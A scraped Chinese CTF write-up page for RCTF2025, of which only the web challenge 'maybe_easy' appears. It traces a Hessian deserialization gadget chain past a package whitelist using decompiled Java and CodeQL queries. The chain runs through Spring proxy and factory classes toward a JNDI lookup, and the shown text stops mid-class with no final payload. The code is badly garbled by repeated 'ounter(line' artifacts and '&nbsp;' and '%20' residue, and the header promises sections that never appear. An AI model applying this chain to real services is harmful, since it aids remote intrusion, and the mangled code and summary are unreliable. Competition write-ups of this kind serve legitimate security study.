RCTF2025-WP

admin 2025-12-29 01:05:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是RCTF2025Writeup,涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入;WEB题涉及沙箱LD_PRELOAD劫持及Hessian反序列化;MISC包含OSINT检索、音频隐写与C2流量解密;CRYPTO考察格密码有理重构与配对加密攻击;逆向解析反调试下的RC4解密。文章提供了详细思路与利用代码。 综合评分: 93 文章分类: CTF,二进制安全,WEB安全,逆向分析,漏洞POC


maybe_easy

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.controller;
import com.rctf.server.tool.HessianFactory;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;
@Controllerpublic class RCTFController {    @RequestMapping({"/hello"})    public String hello(@RequestParam(name = "data",required = false) String data) throws Exception {        Object obj = HessianFactory.deserialize(data);        return "hello";    }}

一个简单的hessian反序列化

发现调用了自己实现的HessianFactory

发现使用了白名单

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line    static {        WHITE_PACKAGES.add("com.rctf.server.tool.");        WHITE_PACKAGES.add("java.util.");        WHITE_PACKAGES.add("org.apache.commons.logging.");        WHITE_PACKAGES.add("org.springframework.beans.");        WHITE_PACKAGES.add("org.springframework.jndi.");    }

发现出题人自定义的一个类

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.tool;
import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;
public&nbsp;class&nbsp;Maybe&nbsp;extends&nbsp;Proxy&nbsp;implements&nbsp;Comparable<Object>,&nbsp;Serializable&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;Maybe(InvocationHandler&nbsp;h) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super(h);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;int&nbsp;compareTo(Object&nbsp;o) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Method&nbsp;method =&nbsp;Comparable.class.getMethod("compareTo",&nbsp;Object.class);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;result =&nbsp;this.h.invoke(this, method,&nbsp;new&nbsp;Object[]{o});&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(Integer)result;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable&nbsp;e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;RuntimeException(e);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

这个类是可以被treemap进行触发compareTo触发其他类的动态代理的

使用n1ght_codeql搭建数据库

编写查询语句

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/**&nbsp;*&nbsp;@name&nbsp;Empty%20block&nbsp;*&nbsp;@kind&nbsp;problem&nbsp;*&nbsp;@problem.severity%20warning&nbsp;*&nbsp;@id&nbsp;java/example/empty-block&nbsp;*/
import&nbsp;javaimport&nbsp;libs.Sourceimport&nbsp;libs.DangerousMethods
class&nbsp;InvokerHandler&nbsp;extends&nbsp;Class&nbsp;{&nbsp;%20InvokerHandler()%20{&nbsp;%20&nbsp;&nbsp;this.getASupertype*().getQualifiedName()%20=&nbsp;"java.lang.reflect.InvocationHandler"&nbsp;and&nbsp;%20&nbsp;%20(&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("java.util.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.apache.commons.logging.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.beans.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.jndi.+")&nbsp;%20&nbsp;%20)&nbsp;%20}}
class&nbsp;HessianObjectFactory&nbsp;extends&nbsp;Method&nbsp;{&nbsp;%20HessianObjectFactory()%20{&nbsp;%20&nbsp;&nbsp;//%20this.getASupertype*().getQualifiedName()%20=%20"org.springframework.beans.factory.ObjectFactory"&nbsp;%20&nbsp;&nbsp;this.getName()%20=&nbsp;"getObject"&nbsp;and&nbsp;%20&nbsp;&nbsp;this.hasNoParameters()%20and&nbsp;%20&nbsp;%20(&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("java.util.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.apache.commons.logging.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.beans.+")%20or&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.jndi.+")&nbsp;%20&nbsp;%20)&nbsp;%20}}
//%20from%20HessianObjectFactory%20i,%20DangerousMethod%20m//%20where%20i.calls(m)//%20select%20ifrom%20DangerousMethod%20mselect%20m,%20m.getName()

发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line&nbsp;%20&nbsp;&nbsp;private&nbsp;static&nbsp;class&nbsp;ObjectFactoryDelegatingInvocationHandler&nbsp;implements&nbsp;InvocationHandler,&nbsp;Serializable&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;private&nbsp;final%20ObjectFactory<?>%20objectFactory;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?>%20objectFactory)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.objectFactory%20=%20objectFactory;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;Object&nbsp;invoke(Object%20proxy,%20Method%20method,%20Object[]&nbsp;args)%20throws%20Throwable&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;switch&nbsp;(method.getName())%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;case&nbsp;"equals":&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;proxy%20==&nbsp;args[0];&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;case&nbsp;"hashCode":&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;System.identityHashCode(proxy);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;case&nbsp;"toString":&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.objectFactory.toString();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;default:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;method.invoke(this.objectFactory.getObject(),&nbsp;args);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(InvocationTargetException%20ex)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;ex.getTargetException();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}

发现了这个类

调用了实现了这个接口的getObject

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package&nbsp;org.springframework.beans.factory;
import&nbsp;org.springframework.beans.BeansException;
@FunctionalInterfacepublic&nbsp;interface&nbsp;ObjectFactory<T>%20{&nbsp;%20&nbsp;%20T&nbsp;getObject()&nbsp;throws&nbsp;BeansException;}

这个时候使用第二个查询语句就发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package&nbsp;org.springframework.beans.factory.config;
import&nbsp;java.io.Serializable;import&nbsp;org.springframework.beans.BeansException;import&nbsp;org.springframework.beans.factory.BeanFactory;import&nbsp;org.springframework.beans.factory.ObjectFactory;import&nbsp;org.springframework.lang.Nullable;import&nbsp;org.springframework.util.Assert;
public&nbsp;class&nbsp;ObjectFactoryCreatingFactoryBean&nbsp;extends&nbsp;AbstractFactoryBean<ObjectFactory<Object>>%20{&nbsp;%20&nbsp;&nbsp;@Nullable&nbsp;%20&nbsp;&nbsp;private&nbsp;String%20targetBeanName;
&nbsp;%20&nbsp;&nbsp;public&nbsp;void%20setTargetBeanName(String%20targetBeanName)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.targetBeanName%20=%20targetBeanName;&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;void%20afterPropertiesSet()%20throws%20Exception%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Assert.hasText(this.targetBeanName,&nbsp;"Property%20'targetBeanName'%20is%20required");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;super.afterPropertiesSet();&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;Class<?>%20getObjectType()%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;ObjectFactory.class;&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;protected&nbsp;ObjectFactory<Object>%20createInstance()%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20BeanFactory%20beanFactory%20=&nbsp;this.getBeanFactory();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Assert.state(beanFactory%20!=&nbsp;null,&nbsp;"No%20BeanFactory%20available");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Assert.state(this.targetBeanName%20!=&nbsp;null,&nbsp;"No%20target%20bean%20name%20specified");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;new%20TargetBeanObjectFactory(beanFactory,&nbsp;this.targetBeanName);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;private&nbsp;static&nbsp;class&nbsp;TargetBeanObjectFactory&nbsp;implements&nbsp;ObjectFactory<Object>,&nbsp;Serializable&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;private&nbsp;final&nbsp;BeanFactory%20beanFactory;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;private&nbsp;final&nbsp;String%20targetBeanName;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;TargetBeanObjectFactory(BeanFactory%20beanFactory,%20String%20targetBeanName)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.beanFactory%20=%20beanFactory;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.targetBeanName%20=%20targetBeanName;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;Object%20getObject()%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.beanFactory.getBean(this.targetBeanName);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}}

这里面调用了实现了BeanFactory接口的getBean

这时候codeql编写语句就发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line////%20Source%20code%20recreated%20from%20a%20.class%20file%20by%20IntelliJ%20IDEA//%20(powered%20by%20FernFlower%20decompiler)//
package&nbsp;org.springframework.jndi.support;
import&nbsp;java.util.Collections;import&nbsp;java.util.HashMap;import&nbsp;java.util.HashSet;import&nbsp;java.util.Map;import&nbsp;java.util.Set;import&nbsp;javax.naming.NameNotFoundException;import&nbsp;javax.naming.NamingException;import&nbsp;org.springframework.beans.BeansException;import&nbsp;org.springframework.beans.factory.BeanDefinitionStoreException;import&nbsp;org.springframework.beans.factory.BeanFactory;import&nbsp;org.springframework.beans.factory.BeanNotOfRequiredTypeException;import&nbsp;org.springframework.beans.factory.NoSuchBeanDefinitionException;import&nbsp;org.springframework.beans.factory.NoUniqueBeanDefinitionException;import&nbsp;org.springframework.beans.factory.ObjectProvider;import&nbsp;org.springframework.core.ResolvableType;import&nbsp;org.springframework.jndi.JndiLocatorSupport;import&nbsp;org.springframework.jndi.TypeMismatchNamingException;import&nbsp;org.springframework.lang.Nullable;
public&nbsp;class&nbsp;SimpleJndiBeanFactory&nbsp;extends&nbsp;JndiLocatorSupport&nbsp;implements&nbsp;BeanFactory&nbsp;{&nbsp;%20&nbsp;&nbsp;private&nbsp;final&nbsp;Set<String>%20shareableResources%20=%20new%20HashSet();&nbsp;%20&nbsp;&nbsp;private&nbsp;final&nbsp;Map<String,%20Object>%20singletonObjects%20=%20new%20HashMap();&nbsp;%20&nbsp;&nbsp;private&nbsp;final&nbsp;Map<String,%20Class<?>>%20resourceTypes%20=%20new%20HashMap();
&nbsp;%20&nbsp;&nbsp;public&nbsp;SimpleJndiBeanFactory()%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.setResourceRef(true);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;void%20addShareableResource(String%20shareableResource)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.shareableResources.add(shareableResource);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;void%20setShareableResources(String...%20shareableResources)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Collections.addAll(this.shareableResources,%20shareableResources);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;Object%20getBean(String%20name)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.getBean(name,%20Object.class);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;<T>%20T%20getBean(String%20name,%20Class<T>%20requiredType)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)(this.isSingleton(name)%20?&nbsp;this.doGetSingleton(name,%20requiredType)%20:&nbsp;this.lookup(name,%20requiredType));&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NameNotFoundException%20var4)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20NoSuchBeanDefinitionException(name,&nbsp;"not%20found%20in%20JNDI%20environment");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(TypeMismatchNamingException%20ex)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20BeanNotOfRequiredTypeException(name,%20ex.getRequiredType(),%20ex.getActualType());&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NamingException%20ex)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20BeanDefinitionStoreException("JNDI%20environment",%20name,&nbsp;"JNDI%20lookup%20failed",%20ex);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;Object%20getBean(String%20name,&nbsp;@Nullable&nbsp;Object...%20args)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(args%20!=&nbsp;null)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20explicit%20bean%20creation%20arguments");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.getBean(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;<T>%20T%20getBean(Class<T>%20requiredType)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)this.getBean(requiredType.getSimpleName(),%20requiredType);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;<T>%20T%20getBean(Class<T>%20requiredType,&nbsp;@Nullable&nbsp;Object...%20args)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(args%20!=&nbsp;null)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20explicit%20bean%20creation%20arguments");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)this.getBean(requiredType);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;<T>%20ObjectProvider<T>%20getBeanProvider(final&nbsp;Class<T>%20requiredType)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;new%20ObjectProvider<T>()%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;T%20getObject()%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;T%20getObject(Object...%20args)%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType,%20args);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;@Nullable&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;T%20getIfAvailable()%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NoUniqueBeanDefinitionException%20ex)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;ex;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NoSuchBeanDefinitionException%20var3)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;null;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;@Nullable&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;public&nbsp;T%20getIfUnique()%20throws%20BeansException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NoSuchBeanDefinitionException%20var2)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;null;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20};&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;<T>%20ObjectProvider<T>%20getBeanProvider(ResolvableType%20requiredType)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20UnsupportedOperationException("SimpleJndiBeanFactory%20does%20not%20support%20resolution%20by%20ResolvableType");&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;boolean%20containsBean(String%20name)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(!this.singletonObjects.containsKey(name)%20&&%20!this.resourceTypes.containsKey(name))%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.doGetType(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;true;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NamingException%20var3)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;false;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;true;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;boolean%20isSingleton(String%20name)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.shareableResources.contains(name);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;boolean%20isPrototype(String%20name)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;!this.shareableResources.contains(name);&nbsp;%20&nbsp;%20}
